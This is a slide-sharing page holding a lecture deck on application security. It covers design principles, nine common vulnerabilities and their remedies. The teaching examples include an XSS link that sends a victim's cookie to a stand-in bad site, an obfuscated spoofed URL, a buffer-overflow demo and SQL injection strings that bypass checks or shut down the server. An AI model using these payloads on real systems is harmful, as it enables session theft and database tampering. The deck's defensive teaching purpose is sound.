39
Securing applications Who is responsible for providing security ? Design considerations • Principles and best practices Coding • Ideas, techniques, code

Application Security

  • Upload
    florinc

  • View
    735

  • Download
    1

Embed Size (px)

Citation preview

Page 1: Application Security

Securing applications

Who is responsible for providing security ?

Design considerations

• Principles and best practices

Coding

• Ideas, techniques, code samples

Page 2: Application Security

What is application security ?

• Typical app includes elements, components and processes

• Each of the app elements and components and processes must be available only to qualified users

• Every element, component and service must be protected from unauthorized viewing, tampering, modification

Page 3: Application Security

Security Basics

Authentication• who are you?

Authorization• what are you allowed to do?

Privacy• encryption• can anybody see what you do?

Data integrity• can anybody change your action?

Page 4: Application Security

n-tier application model

ExternalExternalApplicationsApplications

Legacy SystemsLegacy Systems

DatabasesDatabases

Thin Thin ClientClient

Rich Rich ClientClient

Page 5: Application Security

Security Principles: SD3

By design• Security architect, signs for security• Create threat model (shared with QA)• Training on security issues• Design and coding guidelines with focus on

security: code simplification, reviews, bug fixes, regression testing

• Minimize attack surface• Don’t reveal internal details in error messages

Page 6: Application Security

Security Principles: SD3

By default• Not all features installed by default• Allow least privilege• Apply appropriate protection for resources• Use defense in depth• Assume external systems are insecure• Fail to a secure mode• Never depend on security through obscurity• Don’t mix code and data

Page 7: Application Security

Security Principles: SD3

In Deployment

• Make sure app has functionality for security administration

• Make sure the app is correctly configured

Page 8: Application Security

Top 9 application vulnerabilities

• Unchecked parameters

• Broken Access Control

• Cross-site scripting (XSS) flaws

• Buffer overruns

• SQL injection defects

• Broken account and session management

• Error handling deficiencies

• Faulty use of cryptography

• Web and app server misconfiguration

Page 9: Application Security

1. Unchecked parameters

• Rule 1: all input is evil until proven otherwise

• Rule 2: data must be validated as it crossed the boundary between untrusted and trusted environments

• Issues: longer than expected strings, malicious content

Page 10: Application Security

Example: CopyData()void CopyData(char* szSrc){

char szDest[1024];strcpy(szDest, szSrc);

// use szDest

}

Page 11: Application Security

Example: CopyData2()int CopyData2(char* szSrc, int nLen){

int nRes = S_OK;const int cnMaxLen = 1024;char szDest[cnMaxLen];if (szSrc && nLen < cnMaxLen)

strncpy(szDest, szSrc, nLen);else

nRes = ERR_WRONG_PARAM;return nRes;

}

Page 12: Application Security

How to check validity

• Rule: look for valid data and reject everything else

• Reasons:– There could be more than one valid way to

represent data (requires canonicalization)– You might miss an invalid data pattern

• May use regular expressions to check input

Page 13: Application Security

Canonicalization

• The process by which various equivalent forms are resolved to a single, standard name, the canonical name

• Do not make any security decision based on the name of a resource, especially a file name

• Restrict what is allowed in a file name (drive, backslashes, extension etc.)

Page 14: Application Security

2. Cross-site scripting attacks

• Occur when an attacker uses a web app to send malicious code, usually JavaScript, to a different end user

• Real reason is because data and code are mixed together (against one of the security principles)

• 2 categories: stored and reflected

Page 15: Application Security

Trusted Site ?

<a href=“http://www.microsoft.com@%77%

77%77%2E%65%78%3D%64%6F%74%73%

63%6B%69%65…..%3E”>

Click here to win $1,000,000 </a>URL format as defined in RFC1738:

http://<user>:<pswd>@<host>:<port>/<path>

Page 16: Application Security

XSS example: server side

www.cifo.com/req.asp implementation:

Hello, &nbsp;<%

Response.Write(Request.QueryString(“name”))

%>

Page 17: Application Security

XSS example: client side

<a href=http://www.cifo.com/req.asp?name=<form action=www.bad-site.com/test.asp

method=post id=“idFrm”><input name=“cookie” type=“hidden”>

</form><script>

idFrm.cookie.value=document.cookie;idFrm.submit();

</script>> Click here to win ! </a>

Page 18: Application Security

XSS attack against local files

<!—c:\myfiles\xss.html-->Hello !<script>document.write(location.hash)</script>

file://c:\myfiles\xss.html#<script>alert(“I am in !”)</script>

Page 19: Application Security

XSS remedies

• Determine which input is valid and reject all the rest

• Encode output (use Server.HTMLEncode)

• Use double quotes around all tag properties

• Use IE 6.0 SP1 HttpOnly cookie option

• IE “Mark of the Web”

• IE 6 <FRAME SECURITY> attribute

Page 20: Application Security

3. Buffer overruns

• Occurs when a buffer declared on the stack is overwritten by copying data larger than the buffer

• The usual culprit is unchecked user input passed to functions such as strcpy()

• An attack results when the return address for the function gets overwritten by an address chosen by the attacker (usually to her own code)

Page 21: Application Security

Stack Overflow Examplevoid foo(const char* input)

{ char buf[10]; // display stack here

strcpy(buf, input); // display stack here

}

void bar()

{ printf(“Ouch! I’ve been hacked !”);}

void main(int argc, char** argv)

{

printf(“addr of foo:%p\naddr of bar:%p”, foo, bar);

foo(argv[1]);

}

Page 22: Application Security

Buffer overrun remedies• Use strncpy instead of strcpy• Use snprintf instead of sprintf• Use STL string class• When writing functions for manipulating

strings:– Size of the destination buffer always provided to

the function;– Buffers guaranteed to be NULL terminated, even if

the operation truncates the intended result;– All functions must return HRESULT;

Page 23: Application Security

“Dangerous” APIs• APIs with Buffer overrun issues: strcpy, strcat, strncpy,

strncat, memcpy, sprintf, printf, strlen, gets, scanf, STL stream operator (>>), T2W (& family)

• APIs with name-squatting issues (CreateDirectory, CreateEvent, CreateFile, CreateMutex, CreateNamedPipe etc.)

• APIs with Trojaning issues (CreateProcess, LoadLibrary, WinExec etc.)

• APIs with DoS issues (InitializeCriticalSection, EnterCriticalSection, _alloca), TerminateThread, TerminateProcess

• Socket APIs

Page 24: Application Security

4. SQL injection issue

string sql = “select * from customer where CustID= ‘” + id + “’”

// value of variable ‘id’ is “A125612’ or 1=1 --”

select * from customer where id=‘A125612’ or 1=1 –-‘

Page 25: Application Security

SQL injection “remedies”: double quote the input

// value of variable ‘id’ is “A125612’ or 1=1 --”

select * from customer where id=‘A125612’’ or 1=1 –-‘

select * from customer where id=‘” + id + ”’ and age>” + nAge

select & from customer where id=‘A75’ and age>33 shutdown --

Page 26: Application Security

SQL injection “remedies”: use stored procedures

exec sp_GetCust ‘A152’ or 1=1’ --

exec sp_GetCustomer ‘A152’ insert into customer values (...) --

Page 27: Application Security

Preventing SQL injection

• Again, do not trust user’s input !• Use parameterized queries (e.g. through

ADO.Command) and not string concatenation

• Be strict about what represents valid input and reject everything else

• Connect to db by using least privileged account, not sysadmin

• Do not divulge too much info to attacker

Page 28: Application Security

5. Access Control

• Sometimes called Authorization, is how the app grants access to content and functions to some users and not others

• ACL is last line of defense against attack• Access Control policy should be clearly

documented and enforced• Code that implements access control should be

centralized, modular and thoroughly reviewed

Page 29: Application Security

6. Broken account and session management

• Caused by flawed credential management functions, including password change, forgot my password, account update etc.

• Managing active sessions requires strong session identifier (token), protected throughout its lifecycle, that can’t be guessed, hijacked or captured

Page 30: Application Security

Protection against break-ins

• Single password change mechanism; always required to provide both new and old password

• Strong password should have min size• Password storage always in hashed or encrypted

form• Protect credentials in transit (SSL-type)• Session ID protection – ideally through SSL for

the entire session

Page 31: Application Security

7. Error handling deficiencies

• Most common problem is when detailed internal error messages (stack traces, mem dumps, error codes) are displayed to the user (attacker)

• Even though minimal error messages are displayed, they can still be logged by the application, with all their details, on the server, analyzed and fixed

Page 32: Application Security

8. Faulty use of cryptography

• Insecure storage of keys, certificates and passwords

• Poor source for randomness

• Poor choice for encryption algorithm or attempting to invent new ones

• Failure to encrypt critical data

• Lack of support for key changes

Page 33: Application Security

Solutions for cryptography issues

• In Win32 use CryptGenRandom to generate random numbers

• Use appropriate key lengths• Keep keys close to the source• If must exchange keys (private keys should never

be exchanged) use a tried and trusted exchange mechanism (RSA, Diffie-Hellman)

• Document your reasons for choosing the cryptographic solution and have someone knowledgeable review it

Page 34: Application Security

RSA encryption keys

• Find two large prime numbers (1024 bit or longer), P and Q; N = P*Q

• Chose E, between 1 and P*Q, such that E and (P-1)*(Q-1) are relative prime (have no common factor other than 1)

• Compute D such that (D*E-1) is divisible by (P-1)*(Q-1), that is equivalent to D*E = 1 (mod(P-1*(Q-1))

• Public key is the pair (N, E), private key is D

Page 35: Application Security

RSA encryption algorithm

1. The encryption function is C = (T^E) mod PQ, where C is the ciphertext (a positive integer), T is the plaintext (a positive integer)

2. The decryption function is T = (C^D) mod PQ, where C is the ciphertext (a positive integer) and T is the plaintext (a positive integer)

Page 36: Application Security

9. Web and app server misconfiguration

• Unpatched security flaws in the server software• Unnecessary default, backup, sample files, including

scripts, applications, configuration files, web pages• Unnecessary services enabled• Default accounts with default passwords• Admin or debugging functions that are enabled or

accessible• Misconfigured SSL certificates and encryption settings

Page 37: Application Security

SummaryThings to remember

• Designer’s security checklist

• Developer’s security checklist

• Tester’s security checklist

• Stay up-to-date: threats change, new ones emerge

• Never been attacked does not mean will never be attacked

Page 38: Application Security

Developer’s security checklist• Code compiled with /GS (Visual C++.NET)• Check all untrusted input is verified before being used or stored• All buffer management functions are safe from buffer overrun• All DACLs well formed: not NULL or Everyone (Full Control)• No references to any internal resources (server names, user names

etc.) in code• Temporary file names are unpredictable• Calls to CreateProcess do not have NULL as first arg• Error messages do not give too much info to attacker• No decision made based on the name of the files• No user data written to HKLM in the registry• Socket bind to a specific IP address (not 0)• Etc. (Database-specific, CryptoAPI)

Page 39: Application Security

Questions, suggestions

Future presentations- basic cryptography

(history and evolution)- DVD encryption